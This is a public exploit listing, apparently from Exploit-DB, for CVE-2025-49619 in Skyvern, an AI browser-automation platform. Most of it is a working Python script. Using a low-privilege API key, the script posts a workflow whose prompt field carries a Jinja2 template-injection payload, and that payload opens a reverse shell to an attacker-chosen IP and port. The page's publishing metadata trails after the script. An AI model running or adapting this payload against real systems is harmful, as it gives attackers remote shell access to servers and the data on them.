\n# Exploit Title: Skyvern 0.1.85 – Remote Code Execution (RCE) via SSTI
\n
# Date: 2025-06-15
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# Exploit Author: Cristian Branet
\n
# Vendor Homepage: https:\/\/www.skyvern.com\/
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# Software Link: https:\/\/github.com\/Skyvern-AI\/skyvern
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# Version: < 0.1.85, before commit db856cd\n
# Tested on: Skyvern Cloud app \/ Local Skyvern (Linux Ubuntu 22.04)
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# CVE : CVE-2025-49619
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# Article: https:\/\/cristibtz.github.io\/posts\/CVE-2025-49619\/<\/p>\n
”’
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Skyvern’s Workflow Editor allows prompt injection via Jinja2 template syntax.
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An attacker with low privileges can inject a malicious payload in a block that contains Prompt section,
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which gets rendered server-side, resulting in blind remote code execution via curl.
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”’<\/p>\n
import requests, argparse, pyfiglet<\/p>\n
parser = argparse.ArgumentParser(description=”This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.”, formatter_class=argparse.ArgumentDefaultsHelpFormatter)
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parser.add_argument(“-u”, “–url”, required=True, help=”Skyvern URL (e.g., http:\/\/example.com:8080)”)
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parser.add_argument(“-k”, “–x-api-key”, required=True, help=”Go to Skyvern app -> Settings -> API Key -> Reveal and copy the API key”)
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parser.add_argument(“-i”, “–ip”, required=True, help=”IP address to receive the reverse shell connection”)
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parser.add_argument(“-p”, “–port”, required=True, help=”Port for the reverse shell connection”)<\/p>\n
def create_exploit_workflow(url, ip, port, x_api_key):
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exploit_workflow = {
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“title”: “Exploit”,
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“description”: “”,
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“proxy_location”: “RESIDENTIAL”,
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“webhook_callback_url”: “”,
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“persist_browser_session”: False,
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“model”: None,
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“totp_verification_url”: None,
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“workflow_definition”: {
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“parameters”: [],
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“blocks”: [
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{
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“label”: “block_1”,
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“continue_on_failure”: False,
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“block_type”: “task_v2”,
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“prompt”: (
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“{% for x in ().__class__.__base__.__subclasses__() %}\\n”
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” {% if ‘warning’ in x.__name__ %}\\n”
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” {{ x()._module.__builtins__[‘__import__’](‘os’).popen(\\n”
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” \\”python3 -c ‘import socket,os,pty;\\”\\n”
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” \\”s=socket.socket();\\”\\n”
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f” \\’s.connect((\\\\\\”{ip}\\\\\\”,{port}));\\’\\n”
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” \\”os.dup2(s.fileno(),0);\\”\\n”
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” \\”os.dup2(s.fileno(),1);\\”\\n”
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” \\”os.dup2(s.fileno(),2);\\”\\n”
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” \\”pty.spawn(\\\\\\”sh\\\\\\”)’\\”\\n”
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” ).read() }}\\n”
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” {% endif %}\\n”
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“{% endfor %}”
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),
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“url”: “”,
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“max_steps”: 25,
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“totp_identifier”: None,
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“totp_verification_url”: None
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}
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]
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},
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“is_saved_task”: False
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}<\/p>\n
headers = {
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“Content-Type”: “application\/json”,
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“X-API-Key”: x_api_key
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}
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response = requests.post(f”{url}\/api\/v1\/workflows”, json=exploit_workflow, headers=headers)<\/p>\n
if response.status_code == 200:
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print(“[+] Exploit workflow created successfully!”)
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else:
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print(“[-] Failed to create exploit workflow:”, response.text)
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return None<\/p>\n
workflow_permanent_id = response.json().get(“workflow_permanent_id”)<\/p>\n
print(f”[+] Workflow Permanent ID: {workflow_permanent_id}”)<\/p>\n
return workflow_permanent_id<\/p>\n
def run_exploit_workflow(url, x_api_key, workflow_permanent_id):<\/p>\n
workflow_data = {
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“workflow_id”: workflow_permanent_id
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}<\/p>\n
headers = {
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“Content-Type”: “application\/json”,
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“X-API-Key”: x_api_key
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}
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response = requests.post(f”{url}\/api\/v1\/workflows\/{workflow_permanent_id}\/run”, json=workflow_data, headers=headers)<\/p>\n
if response.status_code == 200:
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print(“[+] Exploit workflow executed successfully!”)
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else:
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print(“[-] Failed to execute exploit workflow:”, response.text)<\/p>\n
if __name__==”__main__”:<\/p>\n
print(“\\n”)
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print(pyfiglet.figlet_format(“CVE-2025-49619 PoC”, font=”small”, width=100))
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print(“Author: Cristian Branet”)
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print(“GitHub: github.com\/cristibtz”)
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print(“Description: This script exploits CVE-2025-49619 in Skyvern to execute a reverse shell command.”)
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print(“\\n”)<\/p>\n
args = parser.parse_args()
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url = args.url
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x_api_key = args.x_api_key
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ip = args.ip
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port = args.port<\/p>\n
workflow_permanent_id = create_exploit_workflow(url, ip, port, x_api_key)<\/p>\n
run_exploit_workflow(url, x_api_key, workflow_permanent_id)\n<\/p><\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title Skyvern 0.1.85 – Remote Code Execution (RCE) via SSTI Exploit ID EDB-ID:52335 Type exploitdb Published 2025-06-15T00:00:00 Modified 2025-06-15T00:00:00 CVSS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,44,12,40,15,13,7,11,5],"class_list":["post-6863","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-85","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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